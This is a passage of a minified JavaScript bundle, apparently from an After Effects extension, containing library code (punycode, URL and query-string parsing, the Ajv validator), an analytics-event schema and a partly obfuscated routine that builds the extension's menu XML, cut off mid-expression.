                            "\t": "\\t",
                            "\n": "\\n",
                            "\f": "\\f",
                            "\r": "\\r",
                            '"': '\\"',
                            "\\": "\\\\"
                        };
                    e.exports = function(A, e, t) {
                        var i;
                        if (o = "", n = "", "number" == typeof t)
                            for (i = 0; i < t; i += 1) n += " ";
                        else "string" == typeof t && (n = t);
                        if (s = e, e && "function" != typeof e && ("object" != typeof e || "number" != typeof e.length)) throw new Error("JSON.stringify");
                        return r("", {
                            "": A
                        })
                    }
                }, {}],
                47: [function(A, e, t) {
                    (function(A) {
                        ! function(i) {
                            function r(A) {
                                throw new RangeError(J[A])
                            }

                            function o(A, e) {
                                for (var t = A.length, i = []; t--;) i[t] = e(A[t]);
                                return i
                            }

                            function n(A, e) {
                                var t = A.split("@"),
                                    i = "";
                                return t.length > 1 && (i = t[0] + "@", A = t[1]), i + o((A = A.replace(k, ".")).split("."), e).join(".")
                            }

                            function s(A) {
                                for (var e, t, i = [], r = 0, o = A.length; r < o;)(e = A.charCodeAt(r++)) >= 55296 && e <= 56319 && r < o ? 56320 == (64512 & (t = A.charCodeAt(r++))) ? i.push(((1023 & e) << 10) + (1023 & t) + 65536) : (i.push(e), r--) : i.push(e);
                                return i
                            }

                            function a(A) {
                                return o(A, function(A) {
                                    var e = "";
                                    return A > 65535 && (e += U((A -= 65536) >>> 10 & 1023 | 55296), A = 56320 | 1023 & A), e += U(A)
                                }).join("")
                            }

                            function I(A) {
                                return A - 48 < 10 ? A - 22 : A - 65 < 26 ? A - 65 : A - 97 < 26 ? A - 97 : p
                            }

                            function l(A, e) {
                                return A + 22 + 75 * (A < 26) - ((0 != e) << 5)
                            }

                            function c(A, e, t) {
                                var i = 0;
                                for (A = t ? N(A / m) : A >> 1, A += N(A / e); A > j * D >> 1; i += p) A = N(A / j);
                                return N(i + (j + 1) * A / (A + v))
                            }

                            function B(A) {
                                var e, t, i, o, n, s, l, B, g, h, E = [],
                                    u = A.length,
                                    Q = 0,
                                    d = P,
                                    f = M;
                                for ((t = A.lastIndexOf(y)) < 0 && (t = 0), i = 0; i < t; ++i) A.charCodeAt(i) >= 128 && r("not-basic"), E.push(A.charCodeAt(i));
                                for (o = t > 0 ? t + 1 : 0; o < u;) {
                                    for (n = Q, s = 1, l = p; o >= u && r("invalid-input"), ((B = I(A.charCodeAt(o++))) >= p || B > N((w - Q) / s)) && r("overflow"), Q += B * s, g = l <= f ? C : l >= f + D ? D : l - f, !(B < g); l += p) s > N(w / (h = p - g)) && r("overflow"), s *= h;
                                    f = c(Q - n, e = E.length + 1, 0 == n), N(Q / e) > w - d && r("overflow"), d += N(Q / e), Q %= e, E.splice(Q++, 0, d)
                                }
                                return a(E)
                            }

                            function g(A) {
                                var e, t, i, o, n, a, I, B, g, h, E, u, Q, d, f, S = [];
                                for (u = (A = s(A)).length, e = P, t = 0, n = M, a = 0; a < u; ++a)(E = A[a]) < 128 && S.push(U(E));
                                for (i = o = S.length, o && S.push(y); i < u;) {
                                    for (I = w, a = 0; a < u; ++a)(E = A[a]) >= e && E < I && (I = E);
                                    for (I - e > N((w - t) / (Q = i + 1)) && r("overflow"), t += (I - e) * Q, e = I, a = 0; a < u; ++a)
                                        if ((E = A[a]) < e && ++t > w && r("overflow"), E == e) {
                                            for (B = t, g = p; h = g <= n ? C : g >= n + D ? D : g - n, !(B < h); g += p) f = B - h, d = p - h, S.push(U(l(h + f % d, 0))), B = N(f / d);
                                            S.push(U(l(B, 0))), n = c(t, Q, i == o), t = 0, ++i
                                        }++t, ++e
                                }
                                return S.join("")
                            }

                            function h(A) {
                                return n(A, function(A) {
                                    return F.test(A) ? B(A.slice(4).toLowerCase()) : A
                                })
                            }

                            function E(A) {
                                return n(A, function(A) {
                                    return L.test(A) ? "xn--" + g(A) : A
                                })
                            }
                            var u = "object" == typeof t && t && !t.nodeType && t,
                                Q = "object" == typeof e && e && !e.nodeType && e,
                                d = "object" == typeof A && A;
                            d.global !== d && d.window !== d && d.self !== d || (i = d);
                            var f, S, w = 2147483647,
                                p = 36,
                                C = 1,
                                D = 26,
                                v = 38,
                                m = 700,
                                M = 72,
                                P = 128,
                                y = "-",
                                F = /^xn--/,
                                L = /[^\x20-\x7E]/,
                                k = /[\x2E\u3002\uFF0E\uFF61]/g,
                                J = {
                                    overflow: "Overflow: input needs wider integers to process",
                                    "not-basic": "Illegal input >= 0x80 (not a basic code point)",
                                    "invalid-input": "Invalid input"
                                },
                                j = p - C,
                                N = Math.floor,
                                U = String.fromCharCode;
                            if (f = {
                                    version: "1.4.1",
                                    ucs2: {
                                        decode: s,
                                        encode: a
                                    },
                                    decode: B,
                                    encode: g,
                                    toASCII: E,
                                    toUnicode: h
                                }, u && Q)
                                if (e.exports == u) Q.exports = f;
                                else
                                    for (S in f) f.hasOwnProperty(S) && (u[S] = f[S]);
                            else i.punycode = f
                        }(this)
                    }).call(this, "undefined" != typeof global ? global : "undefined" != typeof self ? self : "undefined" != typeof window ? window : {})
                }, {}],
                48: [function(A, e, t) {
                    "use strict";

                    function i(A, e) {
                        return Object.prototype.hasOwnProperty.call(A, e)
                    }
                    e.exports = function(A, e, t, o) {
                        e = e || "&", t = t || "=";
                        var n = {};
                        if ("string" != typeof A || 0 === A.length) return n;
                        var s = /\+/g;
                        A = A.split(e);
                        var a = 1e3;
                        o && "number" == typeof o.maxKeys && (a = o.maxKeys);
                        var I = A.length;
                        a > 0 && I > a && (I = a);
                        for (var l = 0; l < I; ++l) {
                            var c, B, g, h, E = A[l].replace(s, "%20"),
                                u = E.indexOf(t);
                            u >= 0 ? (c = E.substr(0, u), B = E.substr(u + 1)) : (c = E, B = ""), g = decodeURIComponent(c), h = decodeURIComponent(B), i(n, g) ? r(n[g]) ? n[g].push(h) : n[g] = [n[g], h] : n[g] = h
                        }
                        return n
                    };
                    var r = Array.isArray || function(A) {
                        return "[object Array]" === Object.prototype.toString.call(A)
                    }
                }, {}],
                49: [function(A, e, t) {
                    "use strict";

                    function i(A, e) {
                        if (A.map) return A.map(e);
                        for (var t = [], i = 0; i < A.length; i++) t.push(e(A[i], i));
                        return t
                    }
                    var r = function(A) {
                        switch (typeof A) {
                            case "string":
                                return A;
                            case "boolean":
                                return A ? "true" : "false";
                            case "number":
                                return isFinite(A) ? A : "";
                            default:
                                return ""
                        }
                    };
                    e.exports = function(A, e, t, s) {
                        return e = e || "&", t = t || "=", null === A && (A = void 0), "object" == typeof A ? i(n(A), function(n) {
                            var s = encodeURIComponent(r(n)) + t;
                            return o(A[n]) ? i(A[n], function(A) {
                                return s + encodeURIComponent(r(A))
                            }).join(e) : s + encodeURIComponent(r(A[n]))
                        }).join(e) : s ? encodeURIComponent(r(s)) + t + encodeURIComponent(r(A)) : ""
                    };
                    var o = Array.isArray || function(A) {
                            return "[object Array]" === Object.prototype.toString.call(A)
                        },
                        n = Object.keys || function(A) {
                            var e = [];
                            for (var t in A) Object.prototype.hasOwnProperty.call(A, t) && e.push(t);
                            return e
                        }
                }, {}],
                50: [function(A, e, t) {
                    "use strict";
                    t.decode = t.parse = A("./decode"), t.encode = t.stringify = A("./encode")
                }, {
                    "./decode": 48,
                    "./encode": 49
                }],
                51: [function(A, e, t) {
                    "use strict";

                    function i() {
                        this.protocol = null, this.slashes = null, this.auth = null, this.host = null, this.port = null, this.hostname = null, this.hash = null, this.search = null, this.query = null, this.pathname = null, this.path = null, this.href = null
                    }

                    function r(A, e, t) {
                        if (A && I.isObject(A) && A instanceof i) return A;
                        var r = new i;
                        return r.parse(A, e, t), r
                    }

                    function o(A) {
                        return I.isString(A) && (A = r(A)), A instanceof i ? A.format() : i.prototype.format.call(A)
                    }

                    function n(A, e) {
                        return r(A, !1, !0).resolve(e)
                    }

                    function s(A, e) {
                        return A ? r(A, !1, !0).resolveObject(e) : e
                    }
                    var a = A("punycode"),
                        I = A("./util");
                    t.parse = r, t.resolve = n, t.resolveObject = s, t.format = o, t.Url = i;
                    var l = /^([a-z0-9.+-]+:)/i,
                        c = /:[0-9]*$/,
                        B = /^(\/\/?(?!\/)[^\?\s]*)(\?[^\s]*)?$/,
                        g = ["<", ">", '"', "`", " ", "\r", "\n", "\t"],
                        h = ["{", "}", "|", "\\", "^", "`"].concat(g),
                        E = ["'"].concat(h),
                        u = ["%", "/", "?", ";", "#"].concat(E),
                        Q = ["/", "?", "#"],
                        d = /^[+a-z0-9A-Z_-]{0,63}$/,
                        f = /^([+a-z0-9A-Z_-]{0,63})(.*)$/,
                        S = {
                            javascript: !0,
                            "javascript:": !0
                        },
                        w = {
                            javascript: !0,
                            "javascript:": !0
                        },
                        p = {
                            http: !0,
                            https: !0,
                            ftp: !0,
                            gopher: !0,
                            file: !0,
                            "http:": !0,
                            "https:": !0,
                            "ftp:": !0,
                            "gopher:": !0,
                            "file:": !0
                        },
                        C = A("querystring");
                    i.prototype.parse = function(A, e, t) {
                        if (!I.isString(A)) throw new TypeError("Parameter 'url' must be a string, not " + typeof A);
                        var i = A.indexOf("?"),
                            r = -1 !== i && i < A.indexOf("#") ? "?" : "#",
                            o = A.split(r),
                            n = /\\/g;
                        o[0] = o[0].replace(n, "/");
                        var s = A = o.join(r);
                        if (s = s.trim(), !t && 1 === A.split("#").length) {
                            var c = B.exec(s);
                            if (c) return this.path = s, this.href = s, this.pathname = c[1], c[2] ? (this.search = c[2], this.query = e ? C.parse(this.search.substr(1)) : this.search.substr(1)) : e && (this.search = "", this.query = {}), this
                        }
                        var g = l.exec(s);
                        if (g) {
                            var h = (g = g[0]).toLowerCase();
                            this.protocol = h, s = s.substr(g.length)
                        }
                        if (t || g || s.match(/^\/\/[^@\/]+@[^@\/]+/)) {
                            var D = "//" === s.substr(0, 2);
                            !D || g && w[g] || (s = s.substr(2), this.slashes = !0)
                        }
                        if (!w[g] && (D || g && !p[g])) {
                            for (var v = -1, m = 0; m < Q.length; m++) - 1 !== (y = s.indexOf(Q[m])) && (-1 === v || y < v) && (v = y);
                            var M, P;
                            for (-1 !== (P = -1 === v ? s.lastIndexOf("@") : s.lastIndexOf("@", v)) && (M = s.slice(0, P), s = s.slice(P + 1), this.auth = decodeURIComponent(M)), v = -1, m = 0; m < u.length; m++) {
                                var y = s.indexOf(u[m]); - 1 !== y && (-1 === v || y < v) && (v = y)
                            } - 1 === v && (v = s.length), this.host = s.slice(0, v), s = s.slice(v), this.parseHost();
                            var F = "[" === (this.hostname = this.hostname || "")[0] && "]" === this.hostname[this.hostname.length - 1];
                            if (!F)
                                for (var L = this.hostname.split(/\./), m = 0, k = L.length; m < k; m++) {
                                    var J = L[m];
                                    if (J && !J.match(d)) {
                                        for (var j = "", N = 0, U = J.length; N < U; N++) j += J.charCodeAt(N) > 127 ? "x" : J[N];
                                        if (!j.match(d)) {
                                            var b = L.slice(0, m),
                                                R = L.slice(m + 1),
                                                Y = J.match(f);
                                            Y && (b.push(Y[1]), R.unshift(Y[2])), R.length && (s = "/" + R.join(".") + s), this.hostname = b.join(".");
                                            break
                                        }
                                    }
                                }
                            this.hostname = this.hostname.length > 255 ? "" : this.hostname.toLowerCase(), F || (this.hostname = a.toASCII(this.hostname));
                            var x = this.port ? ":" + this.port : "",
                                z = this.hostname || "";
                            this.host = z + x, this.href += this.host, F && (this.hostname = this.hostname.substr(1, this.hostname.length - 2), "/" !== s[0] && (s = "/" + s))
                        }
                        if (!S[h])
                            for (var m = 0, k = E.length; m < k; m++) {
                                var G = E[m];
                                if (-1 !== s.indexOf(G)) {
                                    var T = encodeURIComponent(G);
                                    T === G && (T = escape(G)), s = s.split(G).join(T)
                                }
                            }
                        var X = s.indexOf("#"); - 1 !== X && (this.hash = s.substr(X), s = s.slice(0, X));
                        var H = s.indexOf("?");
                        if (-1 !== H ? (this.search = s.substr(H), this.query = s.substr(H + 1), e && (this.query = C.parse(this.query)), s = s.slice(0, H)) : e && (this.search = "", this.query = {}), s && (this.pathname = s), p[h] && this.hostname && !this.pathname && (this.pathname = "/"), this.pathname || this.search) {
                            var x = this.pathname || "",
                                V = this.search || "";
                            this.path = x + V
                        }
                        return this.href = this.format(), this
                    }, i.prototype.format = function() {
                        var A = this.auth || "";
                        A && (A = (A = encodeURIComponent(A)).replace(/%3A/i, ":"), A += "@");
                        var e = this.protocol || "",
                            t = this.pathname || "",
                            i = this.hash || "",
                            r = !1,
                            o = "";
                        this.host ? r = A + this.host : this.hostname && (r = A + (-1 === this.hostname.indexOf(":") ? this.hostname : "[" + this.hostname + "]"), this.port && (r += ":" + this.port)), this.query && I.isObject(this.query) && Object.keys(this.query).length && (o = C.stringify(this.query));
                        var n = this.search || o && "?" + o || "";
                        return e && ":" !== e.substr(-1) && (e += ":"), this.slashes || (!e || p[e]) && !1 !== r ? (r = "//" + (r || ""), t && "/" !== t.charAt(0) && (t = "/" + t)) : r || (r = ""), i && "#" !== i.charAt(0) && (i = "#" + i), n && "?" !== n.charAt(0) && (n = "?" + n), t = t.replace(/[?#]/g, function(A) {
                            return encodeURIComponent(A)
                        }), n = n.replace("#", "%23"), e + r + t + n + i
                    }, i.prototype.resolve = function(A) {
                        return this.resolveObject(r(A, !1, !0)).format()
                    }, i.prototype.resolveObject = function(A) {
                        if (I.isString(A)) {
                            var e = new i;
                            e.parse(A, !1, !0), A = e
                        }
                        for (var t = new i, r = Object.keys(this), o = 0; o < r.length; o++) {
                            var n = r[o];
                            t[n] = this[n]
                        }
                        if (t.hash = A.hash, "" === A.href) return t.href = t.format(), t;
                        if (A.slashes && !A.protocol) {
                            for (var s = Object.keys(A), a = 0; a < s.length; a++) {
                                var l = s[a];
                                "protocol" !== l && (t[l] = A[l])
                            }
                            return p[t.protocol] && t.hostname && !t.pathname && (t.path = t.pathname = "/"), t.href = t.format(), t
                        }
                        if (A.protocol && A.protocol !== t.protocol) {
                            if (!p[A.protocol]) {
                                for (var c = Object.keys(A), B = 0; B < c.length; B++) {
                                    var g = c[B];
                                    t[g] = A[g]
                                }
                                return t.href = t.format(), t
                            }
                            if (t.protocol = A.protocol, A.host || w[A.protocol]) t.pathname = A.pathname;
                            else {
                                for (C = (A.pathname || "").split("/"); C.length && !(A.host = C.shift()););
                                A.host || (A.host = ""), A.hostname || (A.hostname = ""), "" !== C[0] && C.unshift(""), C.length < 2 && C.unshift(""), t.pathname = C.join("/")
                            }
                            if (t.search = A.search, t.query = A.query, t.host = A.host || "", t.auth = A.auth, t.hostname = A.hostname || A.host, t.port = A.port, t.pathname || t.search) {
                                var h = t.pathname || "",
                                    E = t.search || "";
                                t.path = h + E
                            }
                            return t.slashes = t.slashes || A.slashes, t.href = t.format(), t
                        }
                        var u = t.pathname && "/" === t.pathname.charAt(0),
                            Q = A.host || A.pathname && "/" === A.pathname.charAt(0),
                            d = Q || u || t.host && A.pathname,
                            f = d,
                            S = t.pathname && t.pathname.split("/") || [],
                            C = A.pathname && A.pathname.split("/") || [],
                            D = t.protocol && !p[t.protocol];
                        if (D && (t.hostname = "", t.port = null, t.host && ("" === S[0] ? S[0] = t.host : S.unshift(t.host)), t.host = "", A.protocol && (A.hostname = null, A.port = null, A.host && ("" === C[0] ? C[0] = A.host : C.unshift(A.host)), A.host = null), d = d && ("" === C[0] || "" === S[0])), Q) t.host = A.host || "" === A.host ? A.host : t.host, t.hostname = A.hostname || "" === A.hostname ? A.hostname : t.hostname, t.search = A.search, t.query = A.query, S = C;
                        else if (C.length) S || (S = []), S.pop(), S = S.concat(C), t.search = A.search, t.query = A.query;
                        else if (!I.isNullOrUndefined(A.search)) return D && (t.hostname = t.host = S.shift(), (F = !!(t.host && t.host.indexOf("@") > 0) && t.host.split("@")) && (t.auth = F.shift(), t.host = t.hostname = F.shift())), t.search = A.search, t.query = A.query, I.isNull(t.pathname) && I.isNull(t.search) || (t.path = (t.pathname ? t.pathname : "") + (t.search ? t.search : "")), t.href = t.format(), t;
                        if (!S.length) return t.pathname = null, t.path = t.search ? "/" + t.search : null, t.href = t.format(), t;
                        for (var v = S.slice(-1)[0], m = (t.host || A.host || S.length > 1) && ("." === v || ".." === v) || "" === v, M = 0, P = S.length; P >= 0; P--) "." === (v = S[P]) ? S.splice(P, 1) : ".." === v ? (S.splice(P, 1), M++) : M && (S.splice(P, 1), M--);
                        if (!d && !f)
                            for (; M--; M) S.unshift("..");
                        !d || "" === S[0] || S[0] && "/" === S[0].charAt(0) || S.unshift(""), m && "/" !== S.join("/").substr(-1) && S.push("");
                        var y = "" === S[0] || S[0] && "/" === S[0].charAt(0);
                        if (D) {
                            t.hostname = t.host = y ? "" : S.length ? S.shift() : "";
                            var F = !!(t.host && t.host.indexOf("@") > 0) && t.host.split("@");
                            F && (t.auth = F.shift(), t.host = t.hostname = F.shift())
                        }
                        return (d = d || t.host && S.length) && !y && S.unshift(""), S.length ? t.pathname = S.join("/") : (t.pathname = null, t.path = null), I.isNull(t.pathname) && I.isNull(t.search) || (t.path = (t.pathname ? t.pathname : "") + (t.search ? t.search : "")), t.auth = A.auth || t.auth, t.slashes = t.slashes || A.slashes, t.href = t.format(), t
                    }, i.prototype.parseHost = function() {
                        var A = this.host,
                            e = c.exec(A);
                        e && (":" !== (e = e[0]) && (this.port = e.substr(1)), A = A.substr(0, A.length - e.length)), A && (this.hostname = A)
                    }
                }, {
                    "./util": 52,
                    punycode: 47,
                    querystring: 50
                }],
                52: [function(A, e, t) {
                    "use strict";
                    e.exports = {
                        isString: function(A) {
                            return "string" == typeof A
                        },
                        isObject: function(A) {
                            return "object" == typeof A && null !== A
                        },
                        isNull: function(A) {
                            return null === A
                        },
                        isNullOrUndefined: function(A) {
                            return null == A
                        }
                    }
                }, {}],
                ajv: [function(A, e, t) {
                    "use strict";

                    function i(A) {
                        if (!(this instanceof i)) return new i(A);
                        A = this._opts = b.copy(A) || {}, this._schemas = {}, this._refs = {}, this._fragments = {}, this._formats = J(A.format);
                        var e = this._schemaUriFormat = this._formats["uri-reference"];
                        this._schemaUriFormatFunc = function(A) {
                            return e.test(A)
                        }, this._cache = A.cache || new F, this._loadingSchemas = {}, this._compilations = [], this.RULES = j(), this._getId = Q(A), A.loopRequired = A.loopRequired || 1 / 0, "property" == A.errorDataPath && (A._errorDataPathProperty = !0), void 0 === A.serialize && (A.serialize = k), this._metaOpts = M(this), A.formats && v(this), C(this), "object" == typeof A.meta && this.addMetaSchema(A.meta), D(this), A.patternGroups && U(this)
                    }

                    function r(A, e) {
                        var t;
                        if ("string" == typeof A) {
                            if (!(t = this.getSchema(A))) throw new Error('no schema with key or ref "' + A + '"')
                        } else {
                            var i = this._addSchema(A);
                            t = i.validate || this._compile(i)
                        }
                        var r = t(e);
                        return !0 === t.$async ? "*" == this._opts.async ? R(r) : r : (this.errors = t.errors, r)
                    }

                    function o(A, e) {
                        var t = this._addSchema(A, void 0, e);
                        return t.validate || this._compile(t)
                    }

                    function n(A, e, t, i) {
                        if (Array.isArray(A))
                            for (var r = 0; r < A.length; r++) this.addSchema(A[r], void 0, t, i);
                        else {
                            var o = this._getId(A);
                            if (void 0 !== o && "string" != typeof o) throw new Error("schema id must be string");
                            m(this, e = y.normalizeId(e || o)), this._schemas[e] = this._addSchema(A, t, i, !0)
                        }
                    }

                    function s(A, e, t) {
                        this.addSchema(A, e, t, !0)
                    }

                    function a(A, e) {
                        var t = A.$schema;
                        if (void 0 !== t && "string" != typeof t) throw new Error("$schema must be a string");
                        if (!(t = t || this._opts.defaultMeta || I(this))) return console.warn("meta-schema not available"), this.errors = null, !0;
                        var i = this._formats.uri;
                        this._formats.uri = "function" == typeof i ? this._schemaUriFormatFunc : this._schemaUriFormat;
                        var r;
                        try {
                            r = this.validate(t, A)
                        } finally {
                            this._formats.uri = i
                        }
                        if (!r && e) {
                            var o = "schema is invalid: " + this.errorsText();
                            if ("log" != this._opts.validateSchema) throw new Error(o);
                            console.error(o)
                        }
                        return r
                    }

                    function I(A) {
                        var e = A._opts.meta;
                        return A._opts.defaultMeta = "object" == typeof e ? A._getId(e) || e : A.getSchema(z) ? z : void 0
                    }

                    function l(A) {
                        var e = B(this, A);
                        switch (typeof e) {
                            case "object":
                                return e.validate || this._compile(e);
                            case "string":
                                return this.getSchema(e);
                            case "undefined":
                                return c(this, A)
                        }
                    }

                    function c(A, e) {
                        var t = y.schema.call(A, {
                            schema: {}
                        }, e);
                        if (t) {
                            var i = t.schema,
                                r = t.root,
                                o = t.baseId,
                                n = P.call(A, i, r, void 0, o);
                            return A._fragments[e] = new L({
                                ref: e,
                                fragment: !0,
                                schema: i,
                                root: r,
                                baseId: o,
                                validate: n
                            }), n
                        }
                    }

                    function B(A, e) {
                        return e = y.normalizeId(e), A._schemas[e] || A._refs[e] || A._fragments[e]
                    }

                    function g(A) {
                        if (A instanceof RegExp) return h(this, this._schemas, A), void h(this, this._refs, A);
                        switch (typeof A) {
                            case "undefined":
                                return h(this, this._schemas), h(this, this._refs), void this._cache.clear();
                            case "string":
                                var e = B(this, A);
                                return e && this._cache.del(e.cacheKey), delete this._schemas[A], void delete this._refs[A];
                            case "object":
                                var t = this._opts.serialize,
                                    i = t ? t(A) : A;
                                this._cache.del(i);
                                var r = this._getId(A);
                                r && (r = y.normalizeId(r), delete this._schemas[r], delete this._refs[r])
                        }
                    }

                    function h(A, e, t) {
                        for (var i in e) {
                            var r = e[i];
                            r.meta || t && !t.test(i) || (A._cache.del(r.cacheKey), delete e[i])
                        }
                    }

                    function E(A, e, t, i) {
                        if ("object" != typeof A && "boolean" != typeof A) throw new Error("schema should be object or boolean");
                        var r = this._opts.serialize,
                            o = r ? r(A) : A,
                            n = this._cache.get(o);
                        if (n) return n;
                        i = i || !1 !== this._opts.addUsedSchema;
                        var s = y.normalizeId(this._getId(A));
                        s && i && m(this, s);
                        var a, I = !1 !== this._opts.validateSchema && !e;
                        I && !(a = s && s == y.normalizeId(A.$schema)) && this.validateSchema(A, !0);
                        var l = y.ids.call(this, A),
                            c = new L({
                                id: s,
                                schema: A,
                                localRefs: l,
                                cacheKey: o,
                                meta: t
                            });
                        return "#" != s[0] && i && (this._refs[s] = c), this._cache.put(o, c), I && a && this.validateSchema(A, !0), c
                    }

                    function u(A, e) {
                        function t() {
                            var e = A.validate,
                                i = e.apply(null, arguments);
                            return t.errors = e.errors, i
                        }
                        if (A.compiling) return A.validate = t, t.schema = A.schema, t.errors = null, t.root = e || t, !0 === A.schema.$async && (t.$async = !0), t;
                        A.compiling = !0;
                        var i;
                        A.meta && (i = this._opts, this._opts = this._metaOpts);
                        var r;
                        try {
                            r = P.call(this, A.schema, e, A.localRefs)
                        } finally {
                            A.compiling = !1, A.meta && (this._opts = i)
                        }
                        return A.validate = r, A.refs = r.refs, A.refVal = r.refVal, A.root = r.root, r
                    }

                    function Q(A) {
                        switch (A.schemaId) {
                            case "$id":
                                return f;
                            case "id":
                                return d;
                            default:
                                return S
                        }
                    }

                    function d(A) {
                        return A.$id && console.warn("schema $id ignored", A.$id), A.id
                    }

                    function f(A) {
                        return A.id && console.warn("schema id ignored", A.id), A.$id
                    }

                    function S(A) {
                        if (A.$id && A.id && A.$id != A.id) throw new Error("schema $id is different from id");
                        return A.$id || A.id
                    }

                    function w(A, e) {
                        if (!(A = A || this.errors)) return "No errors";
                        for (var t = void 0 === (e = e || {}).separator ? ", " : e.separator, i = void 0 === e.dataVar ? "data" : e.dataVar, r = "", o = 0; o < A.length; o++) {
                            var n = A[o];
                            n && (r += i + n.dataPath + " " + n.message + t)
                        }
                        return r.slice(0, -t.length)
                    }

                    function p(A, e) {
                        "string" == typeof e && (e = new RegExp(e)), this._formats[A] = e
                    }

                    function C(e) {
                        var t;
                        if (e._opts.$data && (t = A("./refs/$data.json"), e.addMetaSchema(t, t.$id, !0)), !1 !== e._opts.meta) {
                            var i = A("./refs/json-schema-draft-06.json");
                            e._opts.$data && (i = N(i, T)), e.addMetaSchema(i, z, !0), e._refs["http://json-schema.org/schema"] = z
                        }
                    }

                    function D(A) {
                        var e = A._opts.schemas;
                        if (e)
                            if (Array.isArray(e)) A.addSchema(e);
                            else
                                for (var t in e) A.addSchema(e[t], t)
                    }

                    function v(A) {
                        for (var e in A._opts.formats) {
                            var t = A._opts.formats[e];
                            A.addFormat(e, t)
                        }
                    }

                    function m(A, e) {
                        if (A._schemas[e] || A._refs[e]) throw new Error('schema with key or id "' + e + '" already exists')
                    }

                    function M(A) {
                        for (var e = b.copy(A._opts), t = 0; t < G.length; t++) delete e[G[t]];
                        return e
                    }
                    var P = A("./compile"),
                        y = A("./compile/resolve"),
                        F = A("./cache"),
                        L = A("./compile/schema_obj"),
                        k = A("json-stable-stringify"),
                        J = A("./compile/formats"),
                        j = A("./compile/rules"),
                        N = A("./$data"),
                        U = A("./patternGroups"),
                        b = A("./compile/util"),
                        R = A("co");
                    e.exports = i, i.prototype.validate = r, i.prototype.compile = o, i.prototype.addSchema = n, i.prototype.addMetaSchema = s, i.prototype.validateSchema = a, i.prototype.getSchema = l, i.prototype.removeSchema = g, i.prototype.addFormat = p, i.prototype.errorsText = w, i.prototype._addSchema = E, i.prototype._compile = u, i.prototype.compileAsync = A("./compile/async");
                    var Y = A("./keyword");
                    i.prototype.addKeyword = Y.add, i.prototype.getKeyword = Y.get, i.prototype.removeKeyword = Y.remove;
                    var x = A("./compile/error_classes");
                    i.ValidationError = x.Validation, i.MissingRefError = x.MissingRef, i.$dataMetaSchema = N;
                    var z = "http://json-schema.org/draft-06/schema",
                        G = ["removeAdditional", "useDefaults", "coerceTypes"],
                        T = ["/properties"]
                }, {
                    "./$data": 1,
                    "./cache": 2,
                    "./compile": 7,
                    "./compile/async": 4,
                    "./compile/error_classes": 5,
                    "./compile/formats": 6,
                    "./compile/resolve": 8,
                    "./compile/rules": 9,
                    "./compile/schema_obj": 10,
                    "./compile/util": 12,
                    "./keyword": 36,
                    "./patternGroups": 37,
                    "./refs/$data.json": 38,
                    "./refs/json-schema-draft-06.json": 39,
                    co: 40,
                    "json-stable-stringify": 43
                }]
            }, {}, [])("ajv")
        })
    }();
    var U = function() {
            function A(A) {
                e(A, t)
            }

            function e(A, e) {
                var t = new Ajv,
                    i = t.compile(e);
                if (!i(A)) throw console.log(i.errors), new Error("invalid analytics JSON: " + t.errorsText(i.errors))
            }
            var t = {
                definitions: {},
                id: "https://aescripts.com/analyticsSchema.json",
                properties: {
                    Groups: {
                        items: {
                            properties: {
                                name: {
                                    type: "string"
                                },
                                description: {
                                    type: "string"
                                },
                                reason: {
                                    type: "string"
                                },
                                events: {
                                    items: {
                                        properties: {
                                            action: {
                                                type: "string",
                                                description: "the action parameter of the google analytics event (might contain placeholders)"
                                            },
                                            category: {
                                                type: "string",
                                                description: "the category parameter of the google analytics event (might contain placeholders)"
                                            },
                                            id: {
                                                type: "string",
                                                description: "a unique identifyer that you use in your sourcecode to send this event"
                                            },
                                            isSent: {
                                                type: "string",
                                                description: "a text shown to the end user to explain  when this particular event is sent"
                                            },
                                            label: {
                                                type: "string",
                                                description: "the label parameter of the google analytics event (might contain placeholders)s"
                                            },
                                            value: {
                                                type: "string",
                                                description: "the value parameter of the google analytics event (might contain placeholders)"
                                            }
                                        },
                                        type: "object",
                                        required: ["id", "category", "action", "isSent"],
                                        additionalProperties: !1
                                    },
                                    type: "array"
                                },
                                pageviews: {
                                    items: {
                                        properties: {
                                            path: {
                                                type: "string",
                                                description: "the path parameter of the google analytics pageview (might contain placeholders)"
                                            },
                                            id: {
                                                type: "string",
                                                description: "a unique identifyer that you use in your sourcecode to send this event"
                                            },
                                            isSent: {
                                                type: "string",
                                                description: "a text shown to the end user to explain  when this particular pageview is sent"
                                            }
                                        },
                                        type: "object",
                                        required: ["path", "id", "isSent"],
                                        additionalProperties: !1
                                    },
                                    type: "array"
                                }
                            },
                            type: "object",
                            required: ["name", "description", "reason"],
                            additionalProperties: !1
                        },
                        type: "array"
                    }
                },
                type: "object",
                required: ["Groups"],
                additionalProperties: !1
            };
            return A
        }(),
        b = function() {
            function A(A) {
                var t = '   \t<MenuItem Id="aesp.about" Label="' + e() + '"/>  ' + (s ? '   \t<MenuItem Id="aesp.preferences" Label="Preferences\u2026" />  ' : "") + '   \t<MenuItem Id="aesp.help" Label="Help\u2026"/>    </Menu>  ',
                    i = '   <Menu>     \t<MenuItem Label="---"/>     \t<MenuItem Id="aesp.update" Label="Check for updates\u2026"/>     \t<MenuItem Label="---"/>     \t<MenuItem Label="Support">     \t\t<MenuItem Id="aesp.support" Label="Contact Support\u2026"/>     \t\t<MenuItem Label="---"/>     \t\t<MenuItem Id="aesp.feedback" Label="Provide Feedback\u2026"/>     \t\t<MenuItem Id="aesp.feature" Label="Request Feature\u2026"/>     \t\t<MenuItem Id="aesp.bug" Label="Report Bug\u2026"/>     \t</MenuItem>     \t<MenuItem Label="---"/>  ';
                "" !== A && (i += A, i += 21328..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -71)
                }).join("") + 19..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -97)
                }).join("") + 12..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -39)
                }).join("") + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 42 - t)
                    }).join("")
                }(45, 199, 189, 164) + 30..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 7 - t)
                    }).join("")
                }(12, 128, 124, 122, 100, 55, 131, 122, 136, 92) + 21..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 17 - t)
                    }).join("")
